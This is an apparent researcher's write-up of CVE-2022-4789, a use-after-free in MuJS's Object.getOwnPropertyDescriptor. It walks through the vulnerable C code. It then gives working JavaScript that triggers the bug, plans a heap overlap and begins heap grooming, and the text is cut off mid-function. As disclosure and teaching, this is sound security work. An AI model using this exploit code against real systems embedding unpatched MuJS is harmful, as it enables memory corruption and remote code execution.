# INTRO: JavaScript is a programming language that is primarily used to create interactive and dynamic user interfaces. It is a high-level, interpreted language that is used to create scripts and programs that can run on a wide variety of platforms, including servers, desktop applications, and mobile devices. One of the key features of JavaScript is its dynamic nature. This means that the language is able to change its behavior at runtime, allowing for more flexibility and adaptability in the programs that are created with it. This is achieved through features such as variable typing, which allows variables to change their type based on the data they contain, and object-oriented programming, which allows for the creation of complex, modular code. Javascript is used most frequently to power web applications. As such, typical browsers will contain some sort of engine that is used to parse JavaScript files and run them locally. Since these engines are designed to run untrusted remote code, their safety guarantees are of great importance to the end user. MuJS is one such JavaScript engine, primarily designed to add scripting capabilities to software through embedding. It is lightweight, interpreted, and written in c. CVE-2022-4789 is an issue in MuJS that I found through manual code review. The offical description is given below: __A logical issue in O_getOwnPropertyDescriptor() in Artifex MuJS 1.0.0 through 1.3.x before 1.3.2 allows an attacker to achieve Remote Code Execution through memory corruption, via the loading of a crafted JavaScript file.__ # THE BUG: The vulnerability lies in the implementation of the built-in JS Object method ``Object.getOwnPropertyDescriptor()``. The method takes an object and the name of a property as its parameters and returns a property descriptor for that property if it exists. A property descriptor is an object that describes the attributes of a property, such as its value, getter/setter, writability, enumerability, and configurability. The implementation is defined in ``jsobject.c:O_getOwnPropertyDescriptor()``. The vulnerable code is shown below: ```c static void O_getOwnPropertyDescriptor(js_State *J) { js_Object *obj; js_Property *ref; if (!js_isobject(J, 1)) js_typeerror(J, "not an object"); obj = js_toobject(J, 1); ref = jsV_getproperty(J, obj, js_tostring(J, 2)); // (0) if (!ref) { // TODO: builtin properties (string and array index and length, regexp flags, etc) js_pushundefined(J); } else { js_newobject(J); // (1) if (!ref->getter && !ref->setter) { // (2) js_pushvalue(J, ref->value); js_setproperty(J, -2, "value"); js_pushboolean(J, !(ref->atts & JS_READONLY)); js_setproperty(J, -2, "writable"); } else { if (ref->getter) // (3) js_pushobject(J, ref->getter); else js_pushundefined(J); js_setproperty(J, -2, "get"); if (ref->setter) // (4) js_pushobject(J, ref->setter); else js_pushundefined(J); js_setproperty(J, -2, "set"); } js_pushboolean(J, !(ref->atts & JS_DONTENUM)); js_setproperty(J, -2, "enumerable"); js_pushboolean(J, !(ref->atts & JS_DONTCONF)); js_setproperty(J, -2, "configurable"); } } ``` A summary of the function is as follows: ## (0) ```c ref = jsV_getproperty(J, obj, js_tostring(J, 2)); ``` First, we grab a reference to the property that we are trying to extract the descriptors from. This is done by calling ``jsV_getproperty()`` which returns a pointer to a ``js_Property`` struct on the heap. ```c struct js_Property { const char *name; js_Property *left, *right; int level; int atts; js_Value value; js_Object *getter; js_Object *setter; }; ``` This value is cached in the local variable named "ref" for multiple uses later on in the function. ## (1) ```c js_newobject(J); ``` Then ``js_newobject()`` gets called which creates a new JS object from the default JS object prototype, Object.prototype, and pushes it onto the interpreter stack. This is the object containing our descriptors that the method will return. (Note: The fact that the object has a prototype will be important later on) ## (2) ```c if (!ref->getter && !ref->setter) { //... } else { //vulnerable code path here } ``` Next, the property is checked to see if it contains getter/setter functions. JS property getters and setters are custom functions that if defined, are invoked during property retrieval and property assignment respectively. In our exploit, we define a getter and setter function for our property in order to traverse the vulnerable code path. ## (3) ```c if (ref->getter) js_pushobject(J, ref->getter); else js_pushundefined(J); js_setproperty(J, -2, "get"); ``` Our defined getter function is then pushed onto the interpreter stack through ``js_pushobject()``. Our JS getter function, represented internally as a ``js_Object`` struct pointer, gets set to a property named "get" in the previously created return object on the interpreter stack. During this property assignment, a call to ``js_setproperty()`` is made. This is the vulnerable line of code. A closer look at ``js_setproperty()``'s call chain reveals the reason. ```c static void jsR_setproperty(js_State *J, js_Object *obj, const char *name, int transient) { /* checks obj type and does some preparations ... */ ref = jsV_getpropertyx(J, obj, name, &own); if (ref) { if (ref->setter) { js_pushobject(J, ref->setter); js_pushobject(J, obj); js_pushvalue(J, *value); js_call(J, 1); // calls the setter of Object.prototype.get js_pop(J, 1); return; /* some more code ... */ } ``` This function calls ``jsR_setproperty()``, which first decides how the value should be set depending on the JS object type, then tries to find a setter for that property. If a setter for that property exists, that setter function is called and the function returns. At first glance, one might think that a setter function for the property named "get" could not exist, as the Object that contains the property was only previously created and is not exposed to the JS interface until ``O_getOwnPropertyDescriptor()`` returns. However, since this object is an instance of Object.prototype, if the property Object.prototype.get was previously defined with a setter function, the prototype chain will get traversed to call our setter, when it actually shouldn't. This can be achieved from JS with the following code: ```JavaScript Object.defineProperty(Object.prototype, "get", our_setter_function); ``` Our JS setter function can then delete the property (with the builtin JS delete keyword) that we are currently processing, which frees our property on the heap. ```c // Property deletion call chain: freeproperty() -> js_free() -> ... -> free( (struct js_Property*) ptr_to_property) ``` The local variable "ref" in ``O_getOwnPropertyDescriptor()``, previously assumed to be immutable, now contains a pointer to a freed heap object--the deleted property! ## (4) ```c if (ref->setter) js_pushobject(J, ref->setter); else js_pushundefined(J); js_setproperty(J, -2, "set"); ``` Now we need to find a way to exploit this issue. We can actually dereference the pointer to our freed property later on in the function, resulting in a use-after-free (UAF). Returning to ``O_getOwnPropertyDescriptor()``, we can see that the same steps taken, to retrieve and set the getter, are taken if the property that we are currently processing contains a setter as well. The setter field in our now freed ``{struct js_Property*} ref`` variable is dereferenced and pushed onto the interpreter stack. To exploit this, I chose to create a JS string variable with a specific length in the setter function of Object.prototype.get, right after the property deletion. ```JavaScript function get_uaf() { var pad4buf = "deadbeefbabecafedeadbeefbabecafedeadbeefbabecaf"; delete victim.temp; // victim.temp is the property we are currently processing for (var i=0; i<0x100; i++) { fill_buf = ""; fill_buf = fill_buf.concat(pad4buf); } return; } ``` This overwrites the data of our freed ``js_Property`` struct with the string data. I use this to null out the least-significant-byte of the pointer value, ref->setter, respresented internally as type(``struct js_Object*``). After ``O_getOwnPropertyDescriptor()`` returns the object containing the descriptors to JS, our object will have a property named "set" that internally references an invalid and corrupted heap chunk of type(``struct js_Object``). ```c struct js_Object { enum js_Class type; int extensible; js_Property *properties; int count; /* number of properties, for array sparseness check */ js_Object *prototype; union { int boolean; double number; struct { const char *string; int length; } s; struct { int length; int simple; // true if array has only non-sparse array properties int capacity; js_Value *array; } a; struct { js_Function *function; js_Environment *scope; //functions have a scope associated with them } f; struct { const char *name; js_CFunction function; js_CFunction constructor; int length; void *data; js_Finalize finalize; } c; js_Regexp r; struct { js_Object *target; js_Iterator *head; } iter; struct { const char *tag; void *data; js_HasProperty has; js_Put put; js_Delete delete; js_Finalize finalize; } user; } u; js_Object *gcnext; /* allocation list */ js_Object *gcroot; /* scan list */ int gcmark; }; ``` # THE EXPLOIT:
To recap, we can trigger the UAF from JS with the following sample code.
```JavaScript var victim = { get temp() { return; }, set temp(val) { return; } } function get_uaf() { var pad4buf = "deadbeefbabecafedeadbeefbabecafedeadbeefbabecaf"; delete victim.temp; for (var i=0; i<0x100; i++) { fill_buf = ""; fill_buf = fill_buf.concat(pad4buf); } return; } //trigger vuln var uaf_setter = {set: get_uaf}; Object.defineProperty(Object.prototype, "get", uaf_setter); var res = Object.getOwnPropertyDescriptor(victim, "temp"); var fake_obj = res.set; // our corrupted object is here ``` The first step in our exploit is to figure out the offset between the real valid pointer to the heap allocated setter function and our invalid LSB-nulled pointer. To achieve this, we create a JS array within the victim object and try to force its internal heap representation to be allocated at an address right below our original setter function. This causes our array to overlap with our invalid setter function on the heap. ```JavaScript var victim = { get temp() { return; }, headers: [js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_fun, js_obj, js_obj, js_obj], //this is our array allocated below the setter set temp(val) { return; } } ``` This requires prior heap grooming to defragment the heap, clear up the bins, and force new allocations to come from the top chunk. We do this by simply creating a bunch of JS arrays, which result in a lot of internal heap allocations. ```JavaScript function reset_heap(size) { log("Spraying heap."); var padding = new Array(size); for (var i=0; i